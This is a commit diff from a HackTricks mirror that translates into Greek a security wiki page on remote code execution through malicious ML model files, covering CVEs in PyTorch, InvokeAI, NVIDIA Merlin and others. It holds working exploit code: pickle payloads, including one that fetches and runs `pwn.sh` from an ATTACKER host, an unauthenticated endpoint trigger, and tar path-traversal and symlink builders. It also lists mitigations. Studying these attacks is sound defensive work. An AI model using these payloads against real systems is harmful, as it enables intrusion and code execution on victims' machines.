mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/AI/AI-Models-RCE.md'] to el
This commit is contained in:
parent
36d65b516d
commit
f5bf17db38
@ -4,40 +4,41 @@
|
||||
|
||||
## Loading models to RCE
|
||||
|
||||
Τα μοντέλα Μηχανικής Μάθησης συνήθως μοιράζονται σε διάφορες μορφές, όπως ONNX, TensorFlow, PyTorch, κ.λπ. Αυτά τα μοντέλα μπορούν να φορτωθούν σε μηχανές προγραμματιστών ή σε συστήματα παραγωγής για να χρησιμοποιηθούν. Συνήθως, τα μοντέλα δεν θα πρέπει να περιέχουν κακόβουλο κώδικα, αλλά υπάρχουν περιπτώσεις όπου το μοντέλο μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα στο σύστημα είτε ως προγραμματισμένη δυνατότητα είτε λόγω ευπάθειας στη βιβλιοθήκη φόρτωσης μοντέλων.
|
||||
Machine Learning models are usually shared in different formats, such as ONNX, TensorFlow, PyTorch, etc. These models can be loaded into developers machines or production systems to use them. Usually the models sholdn't contain malicious code, but there are some cases where the model can be used to execute arbitrary code on the system as intended feature or because of a vulnerability in the model loading library.
|
||||
|
||||
Κατά τη στιγμή της συγγραφής, αυτά είναι μερικά παραδείγματα αυτού του τύπου ευπαθειών:
|
||||
At the time of the writting these are some examples of this type of vulneravilities:
|
||||
|
||||
| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Κακόβουλο pickle στο checkpoint του μοντέλου οδηγεί σε εκτέλεση κώδικα (παρακάμπτοντας την προστασία `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + κακόβουλη λήψη μοντέλου προκαλεί εκτέλεση κώδικα; RCE μέσω Java deserialization στο API διαχείρισης | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | Η φόρτωση μοντέλου από YAML χρησιμοποιεί `yaml.unsafe_load` (εκτέλεση κώδικα) <br> Η φόρτωση μοντέλου με **Lambda** layer εκτελεί αυθαίρετο Python κώδικα | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Ένα κατεργασμένο μοντέλο `.tflite` προκαλεί υπερχείλιση ακέραιου → διαφθορά σωρού (πιθανή RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Η φόρτωση ενός μοντέλου μέσω `joblib.load` εκτελεί pickle με το payload `__reduce__` του επιτιθέμενου | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | Η προεπιλεγμένη επιλογή του `numpy.load` επέτρεπε pickled object arrays – κακόβουλο `.npy/.npz` προκαλεί εκτέλεση κώδικα | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | Η εξωτερική διαδρομή βαρών του μοντέλου ONNX μπορεί να ξεφύγει από τον κατάλογο (ανάγνωση αυθαίρετων αρχείων) <br> Κακόβουλο μοντέλο ONNX tar μπορεί να αντικαταστήσει αυθαίρετα αρχεία (οδηγώντας σε RCE) | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Το μοντέλο με προσαρμοσμένο τελεστή απαιτεί φόρτωση του εγγενή κώδικα του επιτιθέμενου; πολύπλοκα γραφήματα μοντέλου εκμεταλλεύονται τη λογική για να εκτελέσουν μη προγραμματισμένους υπολογισμούς | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Η χρήση του API φόρτωσης μοντέλου με ενεργοποιημένο `--model-control` επιτρέπει σχετική διαδρομή για την εγγραφή αρχείων (π.χ., αντικατάσταση του `.bashrc` για RCE) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Ένα κακοσχηματισμένο αρχείο μοντέλου GGUF προκαλεί υπερχείλιση buffer σωρού στον αναλυτή, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα στο σύστημα του θύματος | |
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Κακόβουλο μοντέλο HDF5 (`.h5`) με κώδικα Lambda layer εκτελείται ακόμα κατά τη φόρτωση (η λειτουργία ασφαλείας Keras δεν καλύπτει την παλιά μορφή – “επίθεση υποβάθμισης”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | Πολλά εργαλεία ML (π.χ., μορφές μοντέλων βασισμένες σε pickle, Python `pickle.load`) θα εκτελέσουν αυθαίρετο κώδικα ενσωματωμένο σε αρχεία μοντέλων εκτός αν μετριαστούν | |
|
||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Κακόβουλο pickle σε model checkpoint προκαλεί code execution (παρακάμπτοντας το `weights_only` safeguard) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + κακόβουλο model download προκαλεί code execution; Java deserialization RCE στο management API | |
|
||||
| **NVIDIA Merlin Transformers4Rec** | Unsafe checkpoint deserialization via `torch.load` **(CVE-2025-23298)** | Untrusted checkpoint ενεργοποιεί pickle reducer κατά το `load_model_trainer_states_from_checkpoint` → code execution στον ML worker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | Φόρτωση model από YAML χρησιμοποιεί `yaml.unsafe_load` (code exec) <br> Φόρτωση μοντέλου με **Lambda** layer εκτελεί αυθαίρετο Python code | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Κατασκευασμένο `.tflite` model ενεργοποιεί integer overflow → heap corruption (πιθανό RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Φόρτωση model μέσω `joblib.load` εκτελεί pickle με τον επιθετικού `__reduce__` payload | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | Το `numpy.load` by default επέτρεπε pickled object arrays – κακόβουλο `.npy/.npz` ενεργοποιεί code exec | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | Το external-weights path σε ONNX model μπορεί να ξεφύγει από directory (διαβάζει αρχεία) <br> Κακόβουλο ONNX model tar μπορεί να αντικαταστήσει αρχεία (οδηγεί σε RCE) | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Model με custom operator απαιτεί φορτωμα native κώδικα του attacker; πολύπλοκα model graphs μπορούν να καταχραστούν λογική για να εκτελέσουν μη επιθυμητούς υπολογισμούς | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Χρήση του model-load API με `--model-control` ενεργό επιτρέπει relative path traversal για εγγραφή αρχείων (π.χ., overwrite `.bashrc` για RCE) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Κατεστραμμένο GGUF model file προκαλεί heap buffer overflows στον parser, επιτρέποντας arbitrary code execution στο σύστημα του θύματος | |
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Κακόβουλο HDF5 (`.h5`) model με Lambda layer συνεχίζει να εκτελείται κατά το load (Keras safe_mode δεν καλύπτει το παλιό format – “downgrade attack”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | Πολλά ML tools (π.χ., pickle-based model formats, Python `pickle.load`) θα εκτελέσουν arbitrary code embedded σε model files εκτός κι αν μετριαστούν | |
|
||||
|
||||
Επιπλέον, υπάρχουν κάποια μοντέλα βασισμένα σε python pickle, όπως αυτά που χρησιμοποιούνται από [PyTorch](https://github.com/pytorch/pytorch/security), που μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου κώδικα στο σύστημα αν δεν φορτωθούν με `weights_only=True`. Έτσι, οποιοδήποτε μοντέλο βασισμένο σε pickle μπορεί να είναι ιδιαίτερα ευάλωτο σε αυτού του τύπου επιθέσεις, ακόμη και αν δεν αναφέρονται στον πίνακα παραπάνω.
|
||||
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
|
||||
|
||||
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI` είναι μια δημοφιλής ανοιχτού κώδικα διαδικτυακή διεπαφή για το Stable-Diffusion. Οι εκδόσεις **5.3.1 – 5.4.2** εκθέτουν το REST endpoint `/api/v2/models/install` που επιτρέπει στους χρήστες να κατεβάζουν και να φορτώνουν μοντέλα από αυθαίρετες διευθύνσεις URL.
|
||||
`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
|
||||
|
||||
Εσωτερικά, το endpoint τελικά καλεί:
|
||||
Internally the endpoint eventually calls:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Όταν το παρεχόμενο αρχείο είναι ένα **PyTorch checkpoint (`*.ckpt`)**, το `torch.load` εκτελεί μια **αποσυμπίεση pickle**. Επειδή το περιεχόμενο προέρχεται απευθείας από τη διεύθυνση URL που ελέγχεται από τον χρήστη, ένας επιτιθέμενος μπορεί να ενσωματώσει ένα κακόβουλο αντικείμενο με μια προσαρμοσμένη μέθοδο `__reduce__` μέσα στο checkpoint; η μέθοδος εκτελείται **κατά τη διάρκεια της αποσυμπίεσης**, οδηγώντας σε **remote code execution (RCE)** στον διακομιστή InvokeAI.
|
||||
Όταν το αρχείο που παρέχεται είναι ένα **PyTorch checkpoint (`*.ckpt`)**, το `torch.load` εκτελεί **pickle deserialization**. Επειδή το περιεχόμενο προέρχεται απευθείας από το URL που ελέγχεται από τον χρήστη, ένας επιτιθέμενος μπορεί να ενσωματώσει ένα κακόβουλο αντικείμενο με προσαρμοσμένη μέθοδο `__reduce__` μέσα στο checkpoint; η μέθοδος εκτελείται **during deserialization**, οδηγώντας σε **remote code execution (RCE)** στον server του InvokeAI.
|
||||
|
||||
Η ευπάθεια αποδόθηκε ως **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
#### Διαδικασία εκμετάλλευσης
|
||||
#### Βήμα προς βήμα εκμετάλλευσης
|
||||
|
||||
1. Δημιουργήστε ένα κακόβουλο checkpoint:
|
||||
```python
|
||||
@ -51,8 +52,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||
with open("payload.ckpt", "wb") as f:
|
||||
pickle.dump(Payload(), f)
|
||||
```
|
||||
2. Φιλοξενήστε το `payload.ckpt` σε έναν HTTP διακομιστή που ελέγχετε (π.χ. `http://ATTACKER/payload.ckpt`).
|
||||
3. Ενεργοποιήστε το ευάλωτο endpoint (δεν απαιτείται αυθεντικοποίηση):
|
||||
2. Φιλοξενήστε το `payload.ckpt` σε έναν HTTP server που ελέγχετε (π.χ. `http://ATTACKER/payload.ckpt`).
|
||||
3. Προκαλέστε το ευάλωτο endpoint (δεν απαιτείται authentication):
|
||||
```python
|
||||
import requests
|
||||
|
||||
@ -67,34 +68,77 @@ json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Όταν το InvokeAI κατεβάζει το αρχείο καλεί το `torch.load()` → το gadget `os.system` εκτελείται και ο επιτιθέμενος αποκτά εκτέλεση κώδικα στο πλαίσιο της διαδικασίας InvokeAI.
|
||||
4. Όταν το InvokeAI κατεβάζει το αρχείο καλεί `torch.load()` → το gadget `os.system` εκτελείται και ο επιτιθέμενος αποκτά εκτέλεση κώδικα στο πλαίσιο της διεργασίας InvokeAI.
|
||||
|
||||
Έτοιμο exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` αυτοματοποιεί όλη τη ροή.
|
||||
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` αυτοματοποιεί όλη τη ροή.
|
||||
|
||||
#### Συνθήκες
|
||||
|
||||
• InvokeAI 5.3.1-5.4.2 (σημαία σάρωσης προεπιλογή **false**)
|
||||
• `/api/v2/models/install` προσβάσιμο από τον επιτιθέμενο
|
||||
• Η διαδικασία έχει άδειες για να εκτελεί εντολές shell
|
||||
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
|
||||
• `/api/v2/models/install` προσβάσιμο από τον επιτιθέμενο
|
||||
• Η διεργασία έχει δικαιώματα για εκτέλεση εντολών shell
|
||||
|
||||
#### Μετριασμοί
|
||||
#### Μέτρα μετριασμού
|
||||
|
||||
* Αναβάθμιση σε **InvokeAI ≥ 5.4.3** – το patch ορίζει `scan=True` ως προεπιλογή και εκτελεί σάρωση κακόβουλου λογισμικού πριν από την αποσειριοποίηση.
|
||||
* Όταν φορτώνετε checkpoints προγραμματισμένα χρησιμοποιήστε `torch.load(file, weights_only=True)` ή τον νέο [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) βοηθό.
|
||||
* Επιβάλλετε λίστες επιτρεπόμενων / υπογραφές για πηγές μοντέλων και εκτελέστε την υπηρεσία με ελάχιστα δικαιώματα.
|
||||
* Αναβαθμίστε σε **InvokeAI ≥ 5.4.3** – το patch θέτει `scan=True` ως προεπιλογή και εκτελεί σάρωση για malware πριν από την αποσειριοποίηση.
|
||||
* Κατά τη φόρτωση checkpoints προγραμματιστικά χρησιμοποιήστε `torch.load(file, weights_only=True)` ή τον νέο helper [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security).
|
||||
* Επιβάλετε allow-lists / signatures για πηγές μοντέλων και εκτελέστε την υπηρεσία με least-privilege.
|
||||
|
||||
> ⚠️ Θυμηθείτε ότι **οποιαδήποτε** μορφή βασισμένη σε Python pickle (συμπεριλαμβανομένων πολλών αρχείων `.pt`, `.pkl`, `.ckpt`, `.pth`) είναι εγγενώς ανασφαλής για αποσειριοποίηση από μη αξιόπιστες πηγές.
|
||||
> ⚠️ Να θυμάστε ότι **οποιοδήποτε** Python pickle-based format (συμπεριλαμβανομένων πολλών `.pt`, `.pkl`, `.ckpt`, `.pth` αρχείων) είναι εγγενώς μη ασφαλές για αποσειριοποίηση από μη αξιόπιστες πηγές.
|
||||
|
||||
---
|
||||
|
||||
Παράδειγμα ad-hoc μετριασμού αν πρέπει να διατηρήσετε παλαιότερες εκδόσεις του InvokeAI να λειτουργούν πίσω από έναν αντίστροφο διακομιστή μεσολάβησης:
|
||||
Παράδειγμα προσωρινής μετρίασης αν πρέπει να διατηρήσετε παλαιότερες εκδόσεις InvokeAI να τρέχουν πίσω από έναν reverse proxy:
|
||||
```nginx
|
||||
location /api/v2/models/install {
|
||||
deny all; # block direct Internet access
|
||||
allow 10.0.0.0/8; # only internal CI network can call it
|
||||
}
|
||||
```
|
||||
## Παράδειγμα – δημιουργία ενός κακόβουλου μοντέλου PyTorch
|
||||
### 🆕 NVIDIA Merlin Transformers4Rec RCE μέσω μη ασφαλούς `torch.load` (CVE-2025-23298)
|
||||
|
||||
Η Transformers4Rec της NVIDIA (μέρος του Merlin) αποκάλυψε έναν μη ασφαλή φορτωτή checkpoint που καλούσε απευθείας `torch.load()` σε μονοπάτια που παρέχονται από τον χρήστη. Επειδή το `torch.load` βασίζεται στο Python `pickle`, ένα checkpoint ελεγχόμενο από επιτιθέμενο μπορεί να εκτελέσει αυθαίρετο κώδικα μέσω ενός reducer κατά την αποσειριοποίηση.
|
||||
|
||||
Vulnerable path (pre-fix): `transformers4rec/torch/trainer/trainer.py` → `load_model_trainer_states_from_checkpoint(...)` → `torch.load(...)`.
|
||||
|
||||
Why this leads to RCE: In Python `pickle`, ένα αντικείμενο μπορεί να ορίσει έναν reducer (`__reduce__`/`__setstate__`) που επιστρέφει μια callable και ορίσματα. Η callable εκτελείται κατά το unpickling. Αν ένα τέτοιο αντικείμενο υπάρχει σε ένα checkpoint, τρέχει πριν χρησιμοποιηθούν οποιαδήποτε weights.
|
||||
|
||||
Minimal malicious checkpoint example:
|
||||
```python
|
||||
import torch
|
||||
|
||||
class Evil:
|
||||
def __reduce__(self):
|
||||
import os
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
# Place the object under a key guaranteed to be deserialized early
|
||||
ckpt = {
|
||||
"model_state_dict": Evil(),
|
||||
"trainer_state": {"epoch": 10},
|
||||
}
|
||||
|
||||
torch.save(ckpt, "malicious.ckpt")
|
||||
```
|
||||
Δίαυλοι παράδοσης και ακτίνα επίπτωσης:
|
||||
- Trojanized checkpoints/models που κοινοποιούνται μέσω repos, buckets ή artifact registries
|
||||
- Αυτοματοποιημένα resume/deploy pipelines που φορτώνουν αυτόματα checkpoints
|
||||
- Η εκτέλεση συμβαίνει εντός training/inference workers, συχνά με αυξημένα προνόμια (π.χ. root σε containers)
|
||||
|
||||
Fix: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) αντικατέστησε το άμεσο `torch.load()` με έναν περιορισμένο, allow-listed deserializer υλοποιημένο στο `transformers4rec/utils/serialization.py`. Ο νέος loader επικυρώνει types/fields και αποτρέπει την εκτέλεση αυθαίρετων callables κατά τη διάρκεια του load.
|
||||
|
||||
Κατευθύνσεις άμυνας ειδικά για PyTorch checkpoints:
|
||||
- Μην unpickle μη αξιόπιστα δεδομένα. Προτιμήστε μη-εκτελέσιμα formats όπως [Safetensors](https://huggingface.co/docs/safetensors/index) ή ONNX όταν είναι δυνατό.
|
||||
- Αν πρέπει να χρησιμοποιήσετε PyTorch serialization, βεβαιωθείτε ότι `weights_only=True` (υποστηρίζεται σε νεότερο PyTorch) ή χρησιμοποιήστε έναν custom allow-listed unpickler παρόμοιο με το patch του Transformers4Rec.
|
||||
- Επιβάλετε provenance/signatures του μοντέλου και sandbox deserialization (seccomp/AppArmor; non-root user; περιορισμένο FS και no network egress).
|
||||
- Παρακολουθήστε για απροσδόκητες child processes από ML services κατά τη φόρτωση checkpoint; trace χρήση `torch.load()`/`pickle`.
|
||||
|
||||
POC και αναφορές ευπάθειας/patch:
|
||||
- Ευάλωτος loader πριν από το patch: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
|
||||
- Κακόβουλο checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
|
||||
- Loader μετά το patch: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js
|
||||
|
||||
## Παράδειγμα – δημιουργία κακόβουλου PyTorch μοντέλου
|
||||
|
||||
- Δημιουργήστε το μοντέλο:
|
||||
```python
|
||||
@ -113,7 +157,7 @@ malicious_state = {"fc.weight": MaliciousPayload()}
|
||||
# Save the malicious state dict
|
||||
torch.save(malicious_state, "malicious_state.pth")
|
||||
```
|
||||
- Φορτώστε το μοντέλο:
|
||||
- Φόρτωση του μοντέλου:
|
||||
```python
|
||||
# victim_load.py
|
||||
import torch
|
||||
@ -131,11 +175,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
## Μοντέλα για Διαδρομή Πλοήγησης
|
||||
## Μοντέλα για Path Traversal
|
||||
|
||||
Όπως αναφέρεται σε [**αυτή την ανάρτηση ιστολογίου**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), οι περισσότεροι μορφές μοντέλων που χρησιμοποιούνται από διάφορα AI frameworks βασίζονται σε αρχεία, συνήθως `.zip`. Επομένως, μπορεί να είναι δυνατό να καταχραστείτε αυτές τις μορφές για να εκτελέσετε επιθέσεις διαδρομής πλοήγησης, επιτρέποντας την ανάγνωση αυθαίρετων αρχείων από το σύστημα όπου φορτώνεται το μοντέλο.
|
||||
Όπως σχολιάστηκε στο [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), οι περισσότερες μορφές μοντέλων που χρησιμοποιούνται από διαφορετικά AI frameworks βασίζονται σε αρχεία (archives), συνήθως `.zip`. Επομένως, μπορεί να είναι δυνατό να καταχραστεί κανείς αυτές τις μορφές για να πραγματοποιήσει path traversal attacks, επιτρέποντας την ανάγνωση αυθαίρετων αρχείων από το σύστημα όπου φορτώνεται το μοντέλο.
|
||||
|
||||
Για παράδειγμα, με τον παρακάτω κώδικα μπορείτε να δημιουργήσετε ένα μοντέλο που θα δημιουργεί ένα αρχείο στον κατάλογο `/tmp` όταν φορτωθεί:
|
||||
Για παράδειγμα, με τον ακόλουθο κώδικα μπορείτε να δημιουργήσετε ένα μοντέλο που θα δημιουργήσει ένα αρχείο στον `/tmp` κατάλογο όταν φορτωθεί:
|
||||
```python
|
||||
import tarfile
|
||||
|
||||
@ -146,7 +190,7 @@ return member
|
||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
||||
tf.add("harmless.txt", filter=escape)
|
||||
```
|
||||
Ή, με τον παρακάτω κώδικα μπορείτε να δημιουργήσετε ένα μοντέλο που θα δημιουργεί ένα symlink στον κατάλογο `/tmp` όταν φορτωθεί:
|
||||
Ή, με τον ακόλουθο κώδικα μπορείτε να δημιουργήσετε ένα μοντέλο που θα δημιουργήσει ένα symlink προς τον κατάλογο `/tmp` όταν φορτωθεί:
|
||||
```python
|
||||
import tarfile, pathlib
|
||||
|
||||
@ -161,9 +205,10 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
### Βαθιά ανάλυση: Keras .keras αποσυμπίεση και αναζήτηση gadget
|
||||
### Εμβάθυνση: Keras .keras deserialization και gadget hunting
|
||||
|
||||
Για έναν στοχευμένο οδηγό σχετικά με τα .keras internals, Lambda-layer RCE, το ζήτημα arbitrary import σε ≤ 3.8, και την ανακάλυψη gadgets μετά τη διόρθωση μέσα στην allowlist, δείτε:
|
||||
|
||||
Για έναν εστιασμένο οδηγό σχετικά με τα εσωτερικά του .keras, RCE Lambda-layer, το ζήτημα αυθαίρετης εισαγωγής σε ≤ 3.8, και την ανακάλυψη gadget μετά την επιδιόρθωση μέσα στη λίστα επιτρεπόμενων, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||
@ -175,5 +220,12 @@ tf.add(PAYLOAD) # rides the symlink
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin)
|
||||
- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/)
|
||||
- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903)
|
||||
- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js)
|
||||
- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
|
||||
- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
|
||||
- [Hugging Face Transformers](https://github.com/huggingface/transformers)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user